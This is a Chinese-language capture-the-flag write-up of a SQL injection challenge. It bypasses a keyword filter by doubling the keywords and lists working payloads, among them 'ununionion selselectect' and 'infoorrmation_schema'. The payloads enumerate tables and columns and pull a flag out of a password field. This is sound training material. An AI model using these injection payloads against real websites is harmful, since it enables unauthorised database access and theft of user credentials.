边做题边写这个可能有点不流利
打开看到页面说他进行了过滤,我们待会看看
看源码就一张表单其他啥也没有
先找注入点
加单引号报错说明还存在注入点
试试万能密码
使用万能密码都报错,说明and or 可能都被过滤掉了
接下来试试双写绕过(用一个关键字分割开另一个关键字,过滤掉第一个后自动拼接到一起,例:an(and)d,括号不用加)
使用payload:1' oorr 1=1#登录成功,并且看到url里面传入参数
使用payload:1' group by 1%23报错,说明还要双写
双写by后不再报错,说明by被过滤需双写。payload:1' group bbyy 1%23
从1试到4后报这个错说明查询列数为3
接下来找回显点
使用payload:1' union select database(),version(),1%23报错,可能是union或者select中一个或者都是
经过尝试发现在union和select都双写后成功注入
构造payload:
发现一号位不是回显点,二三号位都是回显点
接下来暴表
使用payload:1' union selselectect 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23发现有报错,看了一下还能过滤的多半是where
重新构造payload又双写where,from后又报错
德我仔细一看information里面的or不见了,好家伙,这里的or也过滤了
重新构造好payload:
1' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()%23
成功爆出两张表名:b4bsql,geekuser
接下来爆列名
第一个payload:
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' anandd table_schema=database()%23
第二个payload:
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='geekuser' anandd table_schema=database()%23
发现两张表b4bsql,geekuser的字段名都是id,username,password
接下来就直接拿数据喽!
先构建好payload(password还要双写or)
b4bsql表:
在b4bsql表password字段看到flag,另一张表就不查了